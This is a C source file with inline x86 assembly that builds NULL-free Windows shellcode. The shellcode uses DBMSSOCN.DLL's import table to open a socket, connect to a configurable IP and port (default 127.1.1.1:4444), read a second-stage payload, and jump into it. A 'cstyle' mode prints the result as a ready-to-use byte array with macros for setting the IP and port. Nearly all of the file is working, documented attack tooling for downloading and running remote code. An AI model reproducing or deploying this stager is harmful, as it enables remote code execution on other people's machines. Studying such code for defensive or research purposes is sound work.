/*
 * Use the Import Address Table of a DLL to read a second payload and jmp to it
 *
 * Targets
 * 
 *    NT/2K/XP
 *
 * Usage
 *
 *    $ iatread.exe
 *    Usage: iatread.exe [test | cstyle]
 *
 *    To generate usable code:
 *
 *    $ iatread.exe cstyle
 *
 *    To test the code by having it simulate a connection to 127.1.1.1:4444
 *    and reading in a second payload
 *
 *    $ iatread.exe test
 *
 * Features/Quirks
 *
 *    No NULLs
 *
 * Disclaimer
 *
 *    The author cannot be held responsible for how this code is used.
 *
 * Compile
 *
 *    Optional defines
 *
 *       /DUSE_KERNEL32_METHOD_PEB       Resolve kernel32 using the PEB technique.
 *       /DUSE_KERNEL32_METHOD_SEH       Resolve kernel32 using the SEH technique.
 *       /DUSE_KERNEL32_METHOD_TOPSTACK  Resolve kernel32 using the TOPSTACK technique.
 *       /DMINIMIZE_SIZE                 Remove some of the unecessary code to minimize size.
 *                                       This assumes that WSAStartup has been called.
 *
 *    cl iatread.c /link /debug
 *
 * Credits
 *
 *    This is an implementation of the IAT concept against DBMSSOCN.  Credits go
 *    to H D Moore for the initial code.
 *
 * skape
 * mmiller@hick.org
 */
#include <windows.h>
#include <stdio.h>

#define DEFAULT_IP        0x0101017f        // Default IP: 127.1.1.1

#define USE_WINNT_ONLY                      // Limit to WINNT only where possible
#define USE_INLINE                          // Inline find_kernel32 and find_function
#define USE_SINGULAR_HASH 0xec0e4e8e        // LoadLibrarA
#define DISABLE_REGISTER_SAVES              // Disable saving registers in find_kernel32 and find_function

#pragma warning(disable: 4068)

int __declspec(naked) iatread_begin()
{
	__asm
	{
#include "generic.c"                        // Resolve LoadLibaryA inline

			xor  edi, edi                      // Zero edi
			push edi                           // Push null
			push 0x4e434f53                    // Push 'SOCN'
			push 0x534d4244                    // Push 'DBMS'
			push esp                           // Push the pointer to 'DBMSSOCN'
			call eax                           // Call LoadLibraryA
			mov  ebx, eax                      // Save the base address of DBMSSOCN.DLL in esi

		fixup_base_address:
			mov  bh, 0x30                      // Set the low order bytes of ebx to 0x3000

#ifndef MINIMIZE_SIZE
		initialize_winsock:
			xor  eax, eax                      // Zero eax
			mov  ax, 0x0190                    // Set the low order bytes to 0x0190, the size of WSADATA
			sub  esp, eax                      // Allocate stack space for the buffer
			push esp                           // Push the WSADATA pointer argument
			add  eax, 0x72                     // Add 0x72 to set eax to 0x0202 for the version argument
			push eax                           // Push the version argument
			call [ebx + 0x6c]                  // Call WSAStartup
#endif

		create_socket:
			push edi                           // Push flags (0)
			push edi                           // Push group (0)
			push edi                           // Push protocol information (NULL)
			push edi                           // Push protocol (0)
			inc  edi                           // Increment edi
			push edi                           // Push SOCK_STREAM
			inc  edi                           // Increment edi
			push edi                           // Push AF_INET
			call [ebx + 0x74]                  // WSASocketA
			mov  edi, eax                      // Save the socket in edi

		connect:
			push DEFAULT_IP                    // Push the default address
			mov  eax, 0x5c110102               // Set eax to the sin_port/sin_family attributes (Port: 4444)
			dec  ah                            // Fix the sin_family attribute
			push eax                           // Push sin_family/sin_port
			mov  edx, esp                      // Save the pointer in edx
			xor  eax, eax                      // Zero eax
			mov  al, 0x10                      // Set eax to 0x10 for sizeof(struct sockaddr_in)
			push eax                           // Push the size 0x10
			push edx                           // Push the pointer to the sockaddr_in
			push edi                           // Push the file descriptor
			call [ebx + 0x4c]                  // Call connect

		recv:
			inc  ah                            // Set eax to 0x1000.  This assumes connect succeeds.
			sub  esp, eax                      // Allocate 4K of stack space.
			mov  ebp, esp                      // Save the stack pointer
			xor  ecx, ecx                      // Zero ecx
			push ecx                           // Push Flags (0)
			push eax                           // Push Length (0x1000)
			push ebp                           // Push Buffer
			push edi                           // Push Fd
			call [ebx + 0x54]                  // Call recv

		jmp_code:
			jmp  ebp                           // Jump into our code
	}
}

void __declspec(naked) iatread_end()
{
	__asm ret
}

int main(int argc, char **argv)
{
#ifdef MINIMIZE_SIZE
	WSADATA data;

	WSAStartup(MAKEWORD(2, 2), &data);
#endif

	if (argc == 1)
	{
		fprintf(stdout, "Usage: %s [test | cstyle]\n", argv[0]);
		return 0;
	}

	if (!strcmp(argv[1], "test"))
		iatread_begin();
	else if (!strcmp(argv[1], "cstyle"))
	{
		unsigned char *start = (unsigned char *)((unsigned char *)iatread_begin);
		unsigned char *stop  = (unsigned char *)((unsigned char *)iatread_end);
		unsigned char *c     = NULL;
		unsigned long x      = 0, length, ipOffset = 0, portOffset = 0;

		// Calculate the actual address in memory of the begin/end function based off their relative jmp points.
		start  += *(unsigned long *)((unsigned char *)iatread_begin + 1) + 5;
		stop   += *(unsigned long *)((unsigned char *)iatread_end + 1) + 5;
		length  = stop - start;

		for (c =  start, x = 0; 
				x < length - 4;
				c++, x++)
		{
			if (*(unsigned long *)c == DEFAULT_IP)
				break;
		}

		ipOffset   = (unsigned long)(c - start);
		portOffset = ipOffset + 7;

		fprintf(stdout, "// %lu byte iatread shellcode\n\n", length);
		fprintf(stdout, "#define SET_IATREAD_IP(buf, ip)     *(unsigned long *)(((buf)+%d)) = (ip)\n", ipOffset);
		fprintf(stdout, "#define SET_IATREAD_PORT(buf, port) *(unsigned short *)(((buf)+%d)) = (port)\n\n", portOffset);
		fprintf(stdout, "unsigned char iatread[] = \"");

		for (c = start, x = 0;
				x < length;
				x++)
			fprintf(stdout, "\\x%2.2x", c[x]);

		fprintf(stdout, "\";\n\n");
	}
	else
		fprintf(stdout, "%s: invalid option\n", argv[0]);

	return 1;
}
